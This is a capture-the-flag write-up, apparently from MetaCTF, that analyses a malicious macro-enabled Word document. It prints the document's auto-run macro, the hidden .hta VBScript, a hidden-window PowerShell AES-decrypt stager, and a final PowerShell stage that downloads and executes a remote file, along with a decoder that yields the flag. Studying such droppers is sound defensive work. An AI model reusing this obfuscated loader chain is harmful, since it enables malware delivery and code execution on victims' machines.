Flash CTF – Haunting Halloween Bash

Solution

We were provided with a .docm file — this is a DOC format that allows embedded macros, so it should be analyzed in a sandbox.

Use olevba to analyze the macros embedded in the document.

$ olevba -c Haunting\ Halloween\ Bash.docm
XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)
olevba 0.60.1 on Python 3.8.10 - http://decalage.info/python/oletools
===============================================================================
FILE: Haunting Halloween Bash.docm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Function contents()
ActiveDocument.Content.Find.Execute FindText:="3-", ReplaceWith:="", Replace:=2
End Function
Function keywords()
keywords = ActiveDocument.BuiltInDocumentProperties("keywords").Value
contents
End Function
Public Function s(likeLoad, loveYou)
CreateObject(likeLoad + ActiveDocument.BuiltInDocumentProperties("category").Value).exec "c:\windows\explorer " + loveYou
End Function
-------------------------------------------------------------------------------
VBA MACRO main.bas
in file: word/vbaProject.bin - OLE stream: 'VBA/main'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public Sub AutoOpen()
    If Format(Date, "dd/mm/yyyy") <> "25/10/2025" Then
        Application.Quit
        Exit Sub
    End If

    girlLikeYou = StrReverse(ThisDocument.keywords)
    With ActiveDocument
        .SaveAs FileName:=girlLikeYou, FileFormat:=2
    End With
    likeLovePow = "script"
    ThisDocument.s Trim("w" + likeLovePow + "."), girlLikeYou
End Sub

We observe that it saves the document as a new file to the path given by the value of girlLikeYou.

If you look closely when opening the file you’ll see some pages that appear empty — however, when you select (highlight) them there is actually a lot of text. That text is set to white color and font size 1 to hide it, and it is the content that gets dropped when the user opens the doc file.

Alternatively, by debugging the macros you can also see the file being created in the Documents folder; it is an .hta file that contains malicious VBScript inside.

........................
- &H89:a32=726 - &H2B6:a32=295 - &H107:a32=223 - &HBF:a32=697 - &H299:a32=779 - &H2EB:a32=959 - &H39F:a83=530 - &H1BF:a101=257 - &H9C:a116=475 - &H167:a32=566 - &H216:a75=389 - &H13A:a86=372 - &H11E:a73=174 - &H65:a32=1027 - &H3E3:a61=873 - &H32C:a32=873 - &H349:a67=395 - &H148:a114=802 - &H2B0:a101=471 - &H172:a97=914 - &H331:a116=866 - &H2EE:a101=234 - &H85:a79=598 - &H207:a98=1030 - &H3A4:a106=466 - &H168:a101=719 - &H26A:a99=901 - &H322:a116=1008 - &H37C:a40=177 - &H89:a111=1069 - &H3BE:a98=566 - &H1D4:a106=345 - &HEF:a101=411 - &H136:a99=607 - &H1FC:a116=280 - &HA4:a84=1001 - &H395:a121=333 - &HD4:a112=599 - &H1E7:a101=832 - &H2DB:a41=314 - &H111:a13=825 - &H32C:a10=457 - &H1BF:a32=999 - &H3C7:a32=753 - &H2D1:a32=322 - &H122:a32=1004 - &H3CC:a32=984 - &H3B8:a32=398 - &H16E:a32=203 - &HAB:a32=370 - &H152:a32=479 - &H1BF:a32=475 - &H1BB:a32=608 - &H240:a32=235 - &HCB:a32=418 - &H182:a32=692 - &H294:a32=774 - &H2E6:a32=290 - &H102:a69=474 - &H195:a110=338 - &HE4:a100=325 - &HE1:a32=585 - &H229:a70=188 - &H76:a117=516 - &H18F:a110=275 - &HA5:a99=273 - &HAE:a116=1090 - &H3CE:a105=696 - &H24F:a111=1041 - &H3A2:a110=1004 - &H37E:a13=742 - &H2D9:a10=849 - &H347:a32=988 - &H3BC:a32=229 - &HC5:a32=137 - &H69:a32=434 - &H192:a32=197 - &HA5:a32=829 - &H31D:a32=774 - &H2E6:a32=418 - &H182:a32=696 - &H298:a32=568 - &H218:a32=853 - &H335:a32=829 - &H31D:a32=643 - &H263:a32=156 - &H7C:a32=693 - &H295:a32=239 - &HCF:a72=294 - &HDE:a113=615 - &H1F6:a89=363 - &H112:a40=992 - &H3B8:a41=222 - &HB5:
res =  ChrW ( a70 ) & ChrW ( a117 ) & ChrW ( a110 ) & ChrW ( a99 ) & ChrW ( a116 ) & ChrW ( a105 ) & ChrW ( a111 ) & ChrW ( a110 ) & ChrW ( a32 ) & ChrW ( a121 ) & ChrW ( a90 ) & ChrW ( a86 ) & ChrW ( a40 ) & ChrW ( a66 ) & ChrW ( a121 ) & ChrW ( a86 ) & ChrW ( a97 ) & ChrW ( a108 ) & ChrW ( a32 ) & ChrW ( a111 ) & ChrW ( a100 ) & ChrW ( a108 ) & ChrW ( a41 ) & ChrW ( a13 ) & ChrW ( a10 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a68 ) & ChrW ( a105 ) & ChrW ( a109 ) & ChrW ( a32 ) & ChrW ( a74 ) & ChrW ( a75 ) & ChrW ( a110 ) & ChrW ( a13 ) & ChrW ( a10 ) & 
........................
a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a72 ) & ChrW ( a113 ) & ChrW ( a89 ) & ChrW ( a40 ) & ChrW ( a41 ) & vbCrlf
Execute  Eval("Eval(""Eval(""""Eval(""""""""Eval(""""""""""""""""Eval(""""""""""""""""""""""""""""""""Eval(""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""Eval(""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""Eval(""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""Eval("""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
.....................

The file looks complicated because it’s obfuscated, but in fact it’s just encoded as decimal. The easiest way to reveal the script clearly is to change the Execute call to MsgBox — then you can see the script text.

Stage 2

Dim JKn
                    JKn = 765
                    Dim kLR
                   kLR = dKi(odl)
                        If kLR = 7000 + 1204 Then
                    For Each Lvw In odl
                   Dim vNY
                         vNY = vNY & Chr(Lvw - JKn)
                      Next
                   End If
                  yZV = vNY
                End Function
                Function HqY()
                  Dim odl
                  Dim Nkt
                  Nkt = "powershell.exe -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $cSIES = 'AAAAAAAAAAAAAAAAAAAAADTAOErQDF4qsrMFmcemiE4YTep5uKcUUYoGUDYq4Tsw6kaZToihJnuIYVqzd5QjoBkC8b7sz6VOCVREfIfbnSG2yQVyb+bxqIZYOAhLxrdKnmIuT+9HwEzF3sF7/Zvwads8A2fA/a7UEP8X+RSR2Azypm+mFHpbVNJMOiuqoTY0+gDlJEZ4dRkYOpFmN4gScYDA4+nVUJHlEzAkJaXho6mIqCP0vPpAiSoHu8CTAvOdyyxY1MxnBAqNYrDpci7UEXIi98OhBa0Og1mTiFl96XA4vZ2sIpR/jhu0K3xi9H0XV3GQVJu2UScYjDdLcqnrEEMMONV7umLCXJbtNduzryyQgn3PL2wpk9AhEeCbyO8vKw5mxhjnPJKQNq10G7Wsdy7vmrmw7e32ubXa3LaCkS7KWbGA2Zs0xUtiubUrCmC56x/KPHb6nF5J4DsAuLGGdOOXtg/kEC7j/lGS2UsFbsycy+bUeUct7EdMm90ciDovI8Vp6nsQ2f5Pc1oTVLiikPZCFkF7/0PyrGQK6Pqe4XvOZt641pDR96cMpdZdzq2+bYJwTwr1eU12fLJu7+JdWGkmk1NJ3OIS1lGTkyT9Rwg0kYIn6zn9Odma70y1KpQg26zbkgtGVU8e8i19zllm37eg/VCv35naPinWlxa7ZJS629o0dMpPJCX1jtiLV8hhZ/cw9nEh8iR3eDtniuHAXToI5mNPzNtCgk9Wzu2QEx5HcdGD35S6p1vfI1K7dGhcLPBortKtgueTJXLnJlwUk3XQdPevesEstd98wXZx29zA2wexenHYc86qJRKoltjWhVDB1b/UKQqBBP4AjI8dL9WNblkeTEgdrfxks3kk1sa7dEeF96ekipp9zOAvAdKTEL/hAyy9m1KNUPjKMYB77zdx6AFvOsBHNXVas2mGGHs=';$JaDRfpRa = 'elhYZGxCdk93cENHWVNnQ3lwUFBkUWRVZWx1bUxWeG8=';$UjGBFtr = New-Object 'System.Security.Cryptography.AesManaged';$UjGBFtr.Mode = [System.Security.Cryptography.CipherMode]::ECB;$UjGBFtr.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$UjGBFtr.BlockSize = 128;$UjGBFtr.KeySize = 256;$UjGBFtr.Key = [System.Convert]::FromBase64String($JaDRfpRa);$RZAWw = [System.Convert]::FromBase64String($cSIES);$eLFEQPJq = $RZAWw[0..15];$UjGBFtr.IV = $eLFEQPJq;$PzMgzvGRO = $UjGBFtr.CreateDecryptor();$YVtaxLJBx = $PzMgzvGRO.TransformFinalBlock($RZAWw, 16, $RZAWw.Length - 16);$UjGBFtr.Dispose();$QMDoCzko = New-Object System.IO.MemoryStream( , $YVtaxLJBx );$STJSeO = New-Object System.IO.MemoryStream;$AxTcQTHfS = New-Object System.IO.Compression.GzipStream $QMDoCzko, ([IO.Compression.CompressionMode]::Decompress);$AxTcQTHfS.CopyTo( $STJSeO );$AxTcQTHfS.Close();$QMDoCzko.Close();[byte[]] $RscjzQ = $STJSeO.ToArray();$gAvDSOM = [System.Text.Encoding]::UTF8.GetString($RscjzQ);$gAvDSOM | powershell - }"
                    Dim Gtc
                      Set Gtc = KVI(yZV(Array(852,880,864,879,870,877,881,811,848,869,866,873,873)))
                       Gtc.Run(Nkt),0,true
                self.close()
                End Function
                Function dKi(ByVal kLR)
                    dKi = VarType(kLR)
                End Function
                Function KVI(ByVal objectType)
                Set KVI = CreateObject(objectType)
                End Function
                HqY()

It executes a PowerShell command via WScript.Shell.

The PowerShell routine performs AES decryption and then decompresses to retrieve the real payload.

Stage 3

function cNS($ONT, $wfi){[IO.File]::WriteAllBytes($ONT, $wfi)};function OxT($ONT){if($ONT.EndsWith((zXo @(4807,4861,4869,4869))) -eq $True){msiexec.exe -y $ONT }elseif($ONT.EndsWith((zXo @(4807,4873,4876,4810))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $ONT}elseif($ONT.EndsWith((zXo @(4807,4870,4876,4866))) -eq $True){misexec /qn /i $ONT}elseif($ONT.EndsWith((zXo @(4807,4867,4858,4875))) -eq $True){powershell.exe -ExecutionPolicy unrestricted java -jar $ONT}else{Start-Process $ONT}};function EQE($sph){$NlB = New-Object (zXo @(4839,4862,4877,4807,4848,4862,4859,4828,4869,4866,4862,4871,4877));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$wfi = $NlB.DownloadData($sph);return $wfi};function zXo($BJj){$mwO=4761;$LND=$Null;foreach($ckV in $BJj){$LND+=[char]($ckV-$mwO)};return $LND};function Axa(){$Nxl = $env:AppData + '\';;;$BwTBpOJLq = $Nxl + 'bindropondisc11_SC.bat'; if (Test-Path -Path $BwTBpOJLq){OxT $BwTBpOJLq;}Else{ $juKrxoSTtI = EQE (zXo @(4865, 4877, 4877, 4873, 4819, 4808, 4808, 4880, 4880, 4880, 4807, 4870, 4862, 4877, 4858, 4860, 4877, 4863, 4807, 4860, 4872, 4870, 4808, 4838, 4862, 4877, 4858, 4828, 4845, 4831, 4884, 4811, 4812, 4813, 4863, 4816, 4862, 4860, 4818, 4811, 4817, 4861, 4818, 4861, 4862, 4814, 4816, 4815, 4813, 4812, 4817, 4814, 4812, 4862, 4816, 4812, 4812, 4814, 4812, 4886));cNS $BwTBpOJLq $juKrxoSTtI;OxT $BwTBpOJLq;};;}Axa;

At this stage it downloads a file from the URL stored in $juKrxoSTtI. By decoding the value of juKrxoSTtI we obtain the URL that contains the flag.

#!/usr/bin/env python3
arr = [4865, 4877, 4877, 4873, 4819, 4808, 4808, 4880, 4880, 4880, 4807, 4870, 4862, 4877, 4858, 4860, 4877, 4863, 4807, 4860, 4872, 4870, 4808, 4838, 4862, 4877, 4858, 4828, 4845, 4831, 4884, 4811, 4812, 4813, 4863, 4816, 4862, 4860, 4818, 4811, 4817, 4861, 4818, 4861, 4862, 4814, 4816, 4815, 4813, 4812, 4817, 4814, 4812, 4862, 4816, 4812, 4812, 4814, 4812, 4886]
SUB = 4761

decoded = ''.join(chr(n - SUB) for n in arr)
print(decoded)
#http://www.metactf.com/MetaCTF{234f7ec928d9de57643853e73353}